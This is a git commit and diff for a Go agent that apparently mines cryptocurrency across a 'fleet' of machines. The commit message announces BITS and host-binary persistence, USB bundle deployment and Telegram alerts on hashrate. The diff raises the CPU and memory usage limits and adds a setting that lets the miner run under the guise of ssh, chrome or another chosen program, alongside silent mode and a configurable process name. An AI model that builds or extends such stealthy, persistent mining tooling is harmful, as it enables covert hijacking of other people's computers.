feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)

agent/config/builtin.go

@@ -23,9 +23,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		PoolPort:            3333,
 		PoolTLS:             false,
 		PoolPass:            "x",
-		MaxCPUUsage:         80,
-		MaxMemoryPct:        70,
-		MinFreeRAM:          1024,
+		MaxCPUUsage:         95,
+		MaxMemoryPct:        85,
+		MinFreeRAM:          512,
 		IdleThresholdPct:    20,
 		IdleDurationMinutes: 5,
 		ScheduleStart:       "21:00",

agent/config/config.go

@@ -20,6 +20,7 @@ type BuiltinConfig struct {
 	DisplayMode         string
 	SilentMode          bool
 	RunAs               string
+	HostBinaryTarget    string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
 	AutoStart           bool
 	ProcessName         string
 	BuildID             string